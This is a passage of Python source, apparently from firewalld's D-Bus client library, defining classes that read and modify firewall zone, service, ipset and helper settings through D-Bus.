from firewall.dbus_utils import dbus_to_python
from firewall.functions import b2u
from firewall.core.rich import Rich_Rule
from firewall import errors
from firewall.errors import FirewallError
import dbus
import traceback
exception_handler = None
not_authorized_loop = False
@decorator
def handle_exceptions(func, *args, **kwargs):
"""Decorator to handle exceptions
"""
authorized = False
while not authorized:
try:
return func(*args, **kwargs)
except dbus.exceptions.DBusException as e:
dbus_message = e.get_dbus_message() # returns unicode
dbus_name = e.get_dbus_name()
if not exception_handler:
raise
if "NotAuthorizedException" in dbus_name:
exception_handler("NotAuthorizedException")
elif "org.freedesktop.DBus.Error" in dbus_name:
# dbus error, try again
exception_handler(dbus_message)
else:
authorized = True
if dbus_message:
exception_handler(dbus_message)
else:
exception_handler(b2u(str(e)))
except FirewallError as e:
if not exception_handler:
raise
else:
exception_handler(b2u(str(e)))
except Exception:
if not exception_handler:
raise
else:
exception_handler(b2u(traceback.format_exc()))
if not not_authorized_loop:
break
# zone config setings
class FirewallClientZoneSettings(object):
@handle_exceptions
def __init__(self, settings = None):
if settings:
self.settings = settings
else:
self.settings = ["", "", "", False, DEFAULT_ZONE_TARGET, [], [],
[], False, [], [], [], [], [], [], False]
@handle_exceptions
def __repr__(self):
return '%s(%r)' % (self.__class__, self.settings)
@handle_exceptions
def getVersion(self):
return self.settings[0]
@handle_exceptions
def setVersion(self, version):
self.settings[0] = version
@handle_exceptions
def getShort(self):
return self.settings[1]
@handle_exceptions
def setShort(self, short):
self.settings[1] = short
@handle_exceptions
def getDescription(self):
return self.settings[2]
@handle_exceptions
def setDescription(self, description):
self.settings[2] = description
# self.settings[3] was used for 'immutable'
@handle_exceptions
def getTarget(self):
return self.settings[4] if self.settings[4] != DEFAULT_ZONE_TARGET else "default"
@handle_exceptions
def setTarget(self, target):
self.settings[4] = target if target != "default" else DEFAULT_ZONE_TARGET
@handle_exceptions
def getServices(self):
return self.settings[5]
@handle_exceptions
def setServices(self, services):
self.settings[5] = services
@handle_exceptions
def addService(self, service):
if service not in self.settings[5]:
self.settings[5].append(service)
else:
raise FirewallError(errors.ALREADY_ENABLED, service)
@handle_exceptions
def removeService(self, service):
if service in self.settings[5]:
self.settings[5].remove(service)
else:
raise FirewallError(errors.NOT_ENABLED, service)
@handle_exceptions
def queryService(self, service):
return service in self.settings[5]
@handle_exceptions
def getPorts(self):
return self.settings[6]
@handle_exceptions
def setPorts(self, ports):
self.settings[6] = ports
@handle_exceptions
def addPort(self, port, protocol):
if (port,protocol) not in self.settings[6]:
self.settings[6].append((port,protocol))
else:
raise FirewallError(errors.ALREADY_ENABLED,
"'%s:%s'" % (port, protocol))
@handle_exceptions
def removePort(self, port, protocol):
if (port,protocol) in self.settings[6]:
self.settings[6].remove((port,protocol))
else:
raise FirewallError(errors.NOT_ENABLED,
"'%s:%s'" % (port, protocol))
@handle_exceptions
def queryPort(self, port, protocol):
return (port,protocol) in self.settings[6]
@handle_exceptions
def getProtocols(self):
return self.settings[13]
@handle_exceptions
def setProtocols(self, protocols):
self.settings[13] = protocols
@handle_exceptions
def addProtocol(self, protocol):
if protocol not in self.settings[13]:
self.settings[13].append(protocol)
else:
raise FirewallError(errors.ALREADY_ENABLED, protocol)
@handle_exceptions
def removeProtocol(self, protocol):
if protocol in self.settings[13]:
self.settings[13].remove(protocol)
else:
raise FirewallError(errors.NOT_ENABLED, protocol)
@handle_exceptions
def queryProtocol(self, protocol):
return protocol in self.settings[13]
@handle_exceptions
def getSourcePorts(self):
return self.settings[14]
@handle_exceptions
def setSourcePorts(self, ports):
self.settings[14] = ports
@handle_exceptions
def addSourcePort(self, port, protocol):
if (port,protocol) not in self.settings[14]:
self.settings[14].append((port,protocol))
else:
raise FirewallError(errors.ALREADY_ENABLED,
"'%s:%s'" % (port, protocol))
@handle_exceptions
def removeSourcePort(self, port, protocol):
if (port,protocol) in self.settings[14]:
self.settings[14].remove((port,protocol))
else:
raise FirewallError(errors.NOT_ENABLED,
"'%s:%s'" % (port, protocol))
@handle_exceptions
def querySourcePort(self, port, protocol):
return (port,protocol) in self.settings[14]
@handle_exceptions
def getIcmpBlocks(self):
return self.settings[7]
@handle_exceptions
def setIcmpBlocks(self, icmpblocks):
self.settings[7] = icmpblocks
@handle_exceptions
def addIcmpBlock(self, icmptype):
if icmptype not in self.settings[7]:
self.settings[7].append(icmptype)
else:
raise FirewallError(errors.ALREADY_ENABLED, icmptype)
@handle_exceptions
def removeIcmpBlock(self, icmptype):
if icmptype in self.settings[7]:
self.settings[7].remove(icmptype)
else:
raise FirewallError(errors.NOT_ENABLED, icmptype)
@handle_exceptions
def queryIcmpBlock(self, icmptype):
return icmptype in self.settings[7]
@handle_exceptions
def getIcmpBlockInversion(self):
return self.settings[15]
@handle_exceptions
def setIcmpBlockInversion(self, flag):
self.settings[15] = flag
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addIcmpBlockInversion(self):
if not self.settings[15]:
self.settings[15] = True
else:
FirewallError(errors.ALREADY_ENABLED, "icmp-block-inversion")
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeIcmpBlockInversion(self):
if self.settings[15]:
self.settings[15] = False
else:
FirewallError(errors.NOT_ENABLED, "icmp-block-inversion")
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryIcmpBlockInversion(self):
return self.settings[15]
@handle_exceptions
def getMasquerade(self):
return self.settings[8]
@handle_exceptions
def setMasquerade(self, masquerade):
self.settings[8] = masquerade
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addMasquerade(self):
if not self.settings[8]:
self.settings[8] = True
else:
FirewallError(errors.ALREADY_ENABLED, "masquerade")
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeMasquerade(self):
if self.settings[8]:
self.settings[8] = False
else:
FirewallError(errors.NOT_ENABLED, "masquerade")
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryMasquerade(self):
return self.settings[8]
@handle_exceptions
def getForwardPorts(self):
return self.settings[9]
@handle_exceptions
def setForwardPorts(self, ports):
self.settings[9] = ports
@handle_exceptions
def addForwardPort(self, port, protocol, to_port, to_addr):
if to_port is None:
to_port = ''
if to_addr is None:
to_addr = ''
if (port,protocol,to_port,to_addr) not in self.settings[9]:
self.settings[9].append((port,protocol,to_port,to_addr))
else:
raise FirewallError(errors.ALREADY_ENABLED, "'%s:%s:%s:%s'" % \
(port, protocol, to_port, to_addr))
@handle_exceptions
def removeForwardPort(self, port, protocol, to_port, to_addr):
if to_port is None:
to_port = ''
if to_addr is None:
to_addr = ''
if (port,protocol,to_port,to_addr) in self.settings[9]:
self.settings[9].remove((port,protocol,to_port,to_addr))
else:
raise FirewallError(errors.NOT_ENABLED, "'%s:%s:%s:%s'" % \
(port, protocol, to_port, to_addr))
@handle_exceptions
def queryForwardPort(self, port, protocol, to_port, to_addr):
if to_port is None:
to_port = ''
if to_addr is None:
to_addr = ''
return (port,protocol,to_port,to_addr) in self.settings[9]
@handle_exceptions
def getInterfaces(self):
return self.settings[10]
@handle_exceptions
def setInterfaces(self, interfaces):
self.settings[10] = interfaces
@handle_exceptions
def addInterface(self, interface):
if interface not in self.settings[10]:
self.settings[10].append(interface)
else:
raise FirewallError(errors.ALREADY_ENABLED, interface)
@handle_exceptions
def removeInterface(self, interface):
if interface in self.settings[10]:
self.settings[10].remove(interface)
else:
raise FirewallError(errors.NOT_ENABLED, interface)
@handle_exceptions
def queryInterface(self, interface):
return interface in self.settings[10]
@handle_exceptions
def getSources(self):
return self.settings[11]
@handle_exceptions
def setSources(self, sources):
self.settings[11] = sources
@handle_exceptions
def addSource(self, source):
if source not in self.settings[11]:
self.settings[11].append(source)
else:
raise FirewallError(errors.ALREADY_ENABLED, source)
@handle_exceptions
def removeSource(self, source):
if source in self.settings[11]:
self.settings[11].remove(source)
else:
raise FirewallError(errors.NOT_ENABLED, source)
@handle_exceptions
def querySource(self, source):
return source in self.settings[11]
@handle_exceptions
def getRichRules(self):
return self.settings[12]
@handle_exceptions
def setRichRules(self, rules):
rules = [ str(Rich_Rule(rule_str=r)) for r in rules ]
self.settings[12] = rules
@handle_exceptions
def addRichRule(self, rule):
rule = str(Rich_Rule(rule_str=rule))
if rule not in self.settings[12]:
self.settings[12].append(rule)
else:
raise FirewallError(errors.ALREADY_ENABLED, rule)
@handle_exceptions
def removeRichRule(self, rule):
rule = str(Rich_Rule(rule_str=rule))
if rule in self.settings[12]:
self.settings[12].remove(rule)
else:
raise FirewallError(errors.NOT_ENABLED, rule)
@handle_exceptions
def queryRichRule(self, rule):
rule = str(Rich_Rule(rule_str=rule))
return rule in self.settings[12]
# zone config
class FirewallClientConfigZone(object):
def __init__(self, bus, path):
self.bus = bus
self.path = path
self.dbus_obj = self.bus.get_object(config.dbus.DBUS_INTERFACE, path)
self.fw_zone = dbus.Interface(
self.dbus_obj,
dbus_interface=config.dbus.DBUS_INTERFACE_CONFIG_ZONE)
self.fw_properties = dbus.Interface(
self.dbus_obj, dbus_interface='org.freedesktop.DBus.Properties')
#TODO: check interface version and revision (need to match client
# version)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_property(self, prop):
return dbus_to_python(self.fw_properties.Get(
config.dbus.DBUS_INTERFACE_CONFIG_ZONE, prop))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_properties(self):
return dbus_to_python(self.fw_properties.GetAll(
config.dbus.DBUS_INTERFACE_CONFIG_ZONE))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def set_property(self, prop, value):
self.fw_properties.Set(config.dbus.DBUS_INTERFACE_CONFIG_ZONE,
prop, value)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getSettings(self):
return FirewallClientZoneSettings(list(dbus_to_python(\
self.fw_zone.getSettings())))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def update(self, settings):
self.fw_zone.update(tuple(settings.settings))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def loadDefaults(self):
self.fw_zone.loadDefaults()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def remove(self):
self.fw_zone.remove()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def rename(self, name):
self.fw_zone.rename(name)
# version
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getVersion(self):
return self.fw_zone.getVersion()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setVersion(self, version):
self.fw_zone.setVersion(version)
# short
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getShort(self):
return self.fw_zone.getShort()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setShort(self, short):
self.fw_zone.setShort(short)
# description
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getDescription(self):
return self.fw_zone.getDescription()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setDescription(self, description):
self.fw_zone.setDescription(description)
# target
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getTarget(self):
return self.fw_zone.getTarget()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setTarget(self, target):
self.fw_zone.setTarget(target)
# service
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getServices(self):
return self.fw_zone.getServices()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setServices(self, services):
self.fw_zone.setServices(services)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addService(self, service):
self.fw_zone.addService(service)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeService(self, service):
self.fw_zone.removeService(service)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryService(self, service):
return self.fw_zone.queryService(service)
# port
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getPorts(self):
return self.fw_zone.getPorts()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setPorts(self, ports):
self.fw_zone.setPorts(ports)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addPort(self, port, protocol):
self.fw_zone.addPort(port, protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removePort(self, port, protocol):
self.fw_zone.removePort(port, protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryPort(self, port, protocol):
return self.fw_zone.queryPort(port, protocol)
# protocol
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getProtocols(self):
return self.fw_zone.getProtocols()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setProtocols(self, protocols):
self.fw_zone.setProtocols(protocols)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addProtocol(self, protocol):
self.fw_zone.addProtocol(protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeProtocol(self, protocol):
self.fw_zone.removeProtocol(protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryProtocol(self, protocol):
return self.fw_zone.queryProtocol(protocol)
# source-port
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getSourcePorts(self):
return self.fw_zone.getSourcePorts()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setSourcePorts(self, ports):
self.fw_zone.setSourcePorts(ports)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addSourcePort(self, port, protocol):
self.fw_zone.addSourcePort(port, protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeSourcePort(self, port, protocol):
self.fw_zone.removeSourcePort(port, protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def querySourcePort(self, port, protocol):
return self.fw_zone.querySourcePort(port, protocol)
# icmp block
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getIcmpBlocks(self):
return self.fw_zone.getIcmpBlocks()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setIcmpBlocks(self, icmptypes):
self.fw_zone.setIcmpBlocks(icmptypes)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addIcmpBlock(self, icmptype):
self.fw_zone.addIcmpBlock(icmptype)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeIcmpBlock(self, icmptype):
self.fw_zone.removeIcmpBlock(icmptype)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryIcmpBlock(self, icmptype):
return self.fw_zone.queryIcmpBlock(icmptype)
# icmp-block-inversion
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getIcmpBlockInversion(self):
return self.fw_zone.getIcmpBlockInversion()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setIcmpBlockInversion(self, inversion):
self.fw_zone.setIcmpBlockInversion(inversion)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addIcmpBlockInversion(self):
self.fw_zone.addIcmpBlockInversion()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeIcmpBlockInversion(self):
self.fw_zone.removeIcmpBlockInversion()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryIcmpBlockInversion(self):
return self.fw_zone.queryIcmpBlockInversion()
# masquerade
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getMasquerade(self):
return self.fw_zone.getMasquerade()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setMasquerade(self, masquerade):
self.fw_zone.setMasquerade(masquerade)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addMasquerade(self):
self.fw_zone.addMasquerade()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeMasquerade(self):
self.fw_zone.removeMasquerade()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryMasquerade(self):
return self.fw_zone.queryMasquerade()
# forward port
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getForwardPorts(self):
return self.fw_zone.getForwardPorts()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setForwardPorts(self, ports):
self.fw_zone.setForwardPorts(ports)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addForwardPort(self, port, protocol, toport, toaddr):
if toport is None:
toport = ''
if toaddr is None:
toaddr = ''
self.fw_zone.addForwardPort(port, protocol, toport, toaddr)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeForwardPort(self, port, protocol, toport, toaddr):
if toport is None:
toport = ''
if toaddr is None:
toaddr = ''
self.fw_zone.removeForwardPort(port, protocol, toport, toaddr)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryForwardPort(self, port, protocol, toport, toaddr):
if toport is None:
toport = ''
if toaddr is None:
toaddr = ''
return self.fw_zone.queryForwardPort(port, protocol, toport, toaddr)
# interface
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getInterfaces(self):
return self.fw_zone.getInterfaces()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setInterfaces(self, interfaces):
self.fw_zone.setInterfaces(interfaces)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addInterface(self, interface):
self.fw_zone.addInterface(interface)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeInterface(self, interface):
self.fw_zone.removeInterface(interface)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryInterface(self, interface):
return self.fw_zone.queryInterface(interface)
# source
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getSources(self):
return self.fw_zone.getSources()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setSources(self, sources):
self.fw_zone.setSources(sources)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addSource(self, source):
self.fw_zone.addSource(source)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeSource(self, source):
self.fw_zone.removeSource(source)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def querySource(self, source):
return self.fw_zone.querySource(source)
# rich rule
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getRichRules(self):
return self.fw_zone.getRichRules()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setRichRules(self, rules):
self.fw_zone.setRichRules(rules)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addRichRule(self, rule):
self.fw_zone.addRichRule(rule)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeRichRule(self, rule):
self.fw_zone.removeRichRule(rule)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryRichRule(self, rule):
return self.fw_zone.queryRichRule(rule)
# service config settings
class FirewallClientServiceSettings(object):
@handle_exceptions
def __init__(self, settings=None):
if settings:
self.settings = settings
else:
self.settings = ["", "", "", [], [], {}, [], []]
@handle_exceptions
def __repr__(self):
return '%s(%r)' % (self.__class__, self.settings)
@handle_exceptions
def getVersion(self):
return self.settings[0]
@handle_exceptions
def setVersion(self, version):
self.settings[0] = version
@handle_exceptions
def getShort(self):
return self.settings[1]
@handle_exceptions
def setShort(self, short):
self.settings[1] = short
@handle_exceptions
def getDescription(self):
return self.settings[2]
@handle_exceptions
def setDescription(self, description):
self.settings[2] = description
@handle_exceptions
def getPorts(self):
return self.settings[3]
@handle_exceptions
def setPorts(self, ports):
self.settings[3] = ports
@handle_exceptions
def addPort(self, port, protocol):
if (port,protocol) not in self.settings[3]:
self.settings[3].append((port,protocol))
else:
raise FirewallError(errors.ALREADY_ENABLED,
"'%s:%s'" % (port, protocol))
@handle_exceptions
def removePort(self, port, protocol):
if (port,protocol) in self.settings[3]:
self.settings[3].remove((port,protocol))
else:
raise FirewallError(errors.NOT_ENABLED,
"'%s:%s'" % (port, protocol))
@handle_exceptions
def queryPort(self, port, protocol):
return (port,protocol) in self.settings[3]
@handle_exceptions
def getProtocols(self):
return self.settings[6]
@handle_exceptions
def setProtocols(self, protocols):
self.settings[6] = protocols
@handle_exceptions
def addProtocol(self, protocol):
if protocol not in self.settings[6]:
self.settings[6].append(protocol)
else:
raise FirewallError(errors.ALREADY_ENABLED, protocol)
@handle_exceptions
def removeProtocol(self, protocol):
if protocol in self.settings[6]:
self.settings[6].remove(protocol)
else:
raise FirewallError(errors.NOT_ENABLED, protocol)
@handle_exceptions
def queryProtocol(self, protocol):
return protocol in self.settings[6]
@handle_exceptions
def getSourcePorts(self):
return self.settings[7]
@handle_exceptions
def setSourcePorts(self, ports):
self.settings[7] = ports
@handle_exceptions
def addSourcePort(self, port, protocol):
if (port,protocol) not in self.settings[7]:
self.settings[7].append((port,protocol))
else:
raise FirewallError(errors.ALREADY_ENABLED,
"'%s:%s'" % (port, protocol))
@handle_exceptions
def removeSourcePort(self, port, protocol):
if (port,protocol) in self.settings[7]:
self.settings[7].remove((port,protocol))
else:
raise FirewallError(errors.NOT_ENABLED,
"'%s:%s'" % (port, protocol))
@handle_exceptions
def querySourcePort(self, port, protocol):
return (port,protocol) in self.settings[7]
@handle_exceptions
def getModules(self):
return self.settings[4]
@handle_exceptions
def setModules(self, modules):
self.settings[4] = modules
@handle_exceptions
def addModule(self, module):
if module not in self.settings[4]:
self.settings[4].append(module)
else:
raise FirewallError(errors.ALREADY_ENABLED, module)
@handle_exceptions
def removeModule(self, module):
if module in self.settings[4]:
self.settings[4].remove(module)
else:
raise FirewallError(errors.NOT_ENABLED, module)
@handle_exceptions
def queryModule(self, module):
return module in self.settings[4]
@handle_exceptions
def getDestinations(self):
return self.settings[5]
@handle_exceptions
def setDestinations(self, destinations):
self.settings[5] = destinations
@handle_exceptions
def setDestination(self, dest_type, address):
if dest_type not in self.settings[5] or \
self.settings[5][dest_type] != address:
self.settings[5][dest_type] = address
else:
raise FirewallError(errors.ALREADY_ENABLED, "'%s:%s'" % \
(dest_type, address))
@handle_exceptions
def removeDestination(self, dest_type, address=None):
if dest_type in self.settings[5]:
if address is not None and self.settings[5][dest_type] != address:
raise FirewallError(errors.NOT_ENABLED, "'%s:%s'" % \
(dest_type, address))
del self.settings[5][dest_type]
else:
raise FirewallError(errors.NOT_ENABLED, "'%s'" % dest_type)
@handle_exceptions
def queryDestination(self, dest_type, address):
return (dest_type in self.settings[5] and \
address == self.settings[5][dest_type])
# ipset config settings
class FirewallClientIPSetSettings(object):
@handle_exceptions
def __init__(self, settings=None):
if settings:
self.settings = settings
else:
self.settings = ["", "", "", "", {}, []]
@handle_exceptions
def __repr__(self):
return '%s(%r)' % (self.__class__, self.settings)
@handle_exceptions
def getVersion(self):
return self.settings[0]
@handle_exceptions
def setVersion(self, version):
self.settings[0] = version
@handle_exceptions
def getShort(self):
return self.settings[1]
@handle_exceptions
def setShort(self, short):
self.settings[1] = short
@handle_exceptions
def getDescription(self):
return self.settings[2]
@handle_exceptions
def setDescription(self, description):
self.settings[2] = description
@handle_exceptions
def getType(self):
return self.settings[3]
@handle_exceptions
def setType(self, ipset_type):
self.settings[3] = ipset_type
@handle_exceptions
def getOptions(self):
return self.settings[4]
@handle_exceptions
def setOptions(self, options):
self.settings[4] = options
@handle_exceptions
def addOption(self, key, value):
if key not in self.settings[4] or self.settings[4][key] != value:
self.settings[4][key] = value
else:
raise FirewallError(errors.ALREADY_ENABLED, "'%s=%s'" % (key,value)
if value else key)
@handle_exceptions
def removeOption(self, key):
if key in self.settings[4]:
del self.settings[4][key]
else:
raise FirewallError(errors.NOT_ENABLED, key)
@handle_exceptions
def queryOption(self, key, value):
return key in self.settings[4] and self.settings[4][key] == value
@handle_exceptions
def getEntries(self):
return self.settings[5]
@handle_exceptions
def setEntries(self, entries):
if "timeout" in self.settings[4] and \
self.settings[4]["timeout"] != "0":
raise FirewallError(errors.IPSET_WITH_TIMEOUT)
self.settings[5] = entries
@handle_exceptions
def addEntry(self, entry):
if "timeout" in self.settings[4] and \
self.settings[4]["timeout"] != "0":
raise FirewallError(errors.IPSET_WITH_TIMEOUT)
if entry not in self.settings[5]:
self.settings[5].append(entry)
else:
raise FirewallError(errors.ALREADY_ENABLED, entry)
@handle_exceptions
def removeEntry(self, entry):
if "timeout" in self.settings[4] and \
self.settings[4]["timeout"] != "0":
raise FirewallError(errors.IPSET_WITH_TIMEOUT)
if entry in self.settings[5]:
self.settings[5].remove(entry)
else:
raise FirewallError(errors.NOT_ENABLED, entry)
@handle_exceptions
def queryEntry(self, entry):
if "timeout" in self.settings[4] and \
self.settings[4]["timeout"] != "0":
raise FirewallError(errors.IPSET_WITH_TIMEOUT)
return entry in self.settings[5]
# ipset config
class FirewallClientConfigIPSet(object):
@handle_exceptions
def __init__(self, bus, path):
self.bus = bus
self.path = path
self.dbus_obj = self.bus.get_object(config.dbus.DBUS_INTERFACE, path)
self.fw_ipset = dbus.Interface(
self.dbus_obj,
dbus_interface=config.dbus.DBUS_INTERFACE_CONFIG_IPSET)
self.fw_properties = dbus.Interface(
self.dbus_obj, dbus_interface='org.freedesktop.DBus.Properties')
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_property(self, prop):
return dbus_to_python(self.fw_properties.Get(
config.dbus.DBUS_INTERFACE_CONFIG_IPSET, prop))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_properties(self):
return dbus_to_python(self.fw_properties.GetAll(
config.dbus.DBUS_INTERFACE_CONFIG_IPSET))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def set_property(self, prop, value):
self.fw_properties.Set(config.dbus.DBUS_INTERFACE_CONFIG_IPSET,
prop, value)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getSettings(self):
return FirewallClientIPSetSettings(list(dbus_to_python(\
self.fw_ipset.getSettings())))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def update(self, settings):
self.fw_ipset.update(tuple(settings.settings))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def loadDefaults(self):
self.fw_ipset.loadDefaults()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def remove(self):
self.fw_ipset.remove()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def rename(self, name):
self.fw_ipset.rename(name)
# version
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getVersion(self):
return self.fw_ipset.getVersion()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setVersion(self, version):
self.fw_ipset.setVersion(version)
# short
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getShort(self):
return self.fw_ipset.getShort()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setShort(self, short):
self.fw_ipset.setShort(short)
# description
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getDescription(self):
return self.fw_ipset.getDescription()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setDescription(self, description):
self.fw_ipset.setDescription(description)
# entry
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getEntries(self):
return self.fw_ipset.getEntries()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setEntries(self, entries):
self.fw_ipset.setEntries(entries)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addEntry(self, entry):
self.fw_ipset.addEntry(entry)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeEntry(self, entry):
self.fw_ipset.removeEntry(entry)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryEntry(self, entry):
return self.fw_ipset.queryEntry(entry)
# helper config settings
class FirewallClientHelperSettings(object):
@handle_exceptions
def __init__(self, settings=None):
if settings:
self.settings = settings
else:
self.settings = ["", "", "", "", "", [ ]]
@handle_exceptions
def __repr__(self):
return '%s(%r)' % (self.__class__, self.settings)
@handle_exceptions
def getVersion(self):
return self.settings[0]
@handle_exceptions
def setVersion(self, version):
self.settings[0] = version
@handle_exceptions
def getShort(self):
return self.settings[1]
@handle_exceptions
def setShort(self, short):
self.settings[1] = short
@handle_exceptions
def getDescription(self):
return self.settings[2]
@handle_exceptions
def setDescription(self, description):
self.settings[2] = description
@handle_exceptions
def getFamily(self):
return self.settings[3]
@handle_exceptions
def setFamily(self, ipv):
if ipv is None:
self.settings[3] = ""
self.settings[3] = ipv
@handle_exceptions
def getModule(self):
return self.settings[4]
@handle_exceptions
def setModule(self, module):
self.settings[4] = module
@handle_exceptions
def getPorts(self):
return self.settings[5]
@handle_exceptions
def setPorts(self, ports):
self.settings[5] = ports
@handle_exceptions
def addPort(self, port, protocol):
if (port,protocol) not in self.settings[5]:
self.settings[5].append((port,protocol))
else:
raise FirewallError(errors.ALREADY_ENABLED,
"'%s:%s'" % (port, protocol))
@handle_exceptions
def removePort(self, port, protocol):
if (port,protocol) in self.settings[5]:
self.settings[5].remove((port,protocol))
else:
raise FirewallError(errors.NOT_ENABLED,
"'%s:%s'" % (port, protocol))
@handle_exceptions
def queryPort(self, port, protocol):
return (port,protocol) in self.settings[5]
# helper config
class FirewallClientConfigHelper(object):
@handle_exceptions
def __init__(self, bus, path):
self.bus = bus
self.path = path
self.dbus_obj = self.bus.get_object(config.dbus.DBUS_INTERFACE, path)
self.fw_helper = dbus.Interface(
self.dbus_obj,
dbus_interface=config.dbus.DBUS_INTERFACE_CONFIG_HELPER)
self.fw_properties = dbus.Interface(
self.dbus_obj, dbus_interface='org.freedesktop.DBus.Properties')
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_property(self, prop):
return dbus_to_python(self.fw_properties.Get(
config.dbus.DBUS_INTERFACE_CONFIG_HELPER, prop))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_properties(self):
return dbus_to_python(self.fw_properties.GetAll(
config.dbus.DBUS_INTERFACE_CONFIG_HELPER))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def set_property(self, prop, value):
self.fw_properties.Set(config.dbus.DBUS_INTERFACE_CONFIG_HELPER,
prop, value)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getSettings(self):
return FirewallClientHelperSettings(list(dbus_to_python(\
self.fw_helper.getSettings())))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def update(self, settings):
self.fw_helper.update(tuple(settings.settings))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def loadDefaults(self):
self.fw_helper.loadDefaults()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def remove(self):
self.fw_helper.remove()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def rename(self, name):
self.fw_helper.rename(name)
# version
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getVersion(self):
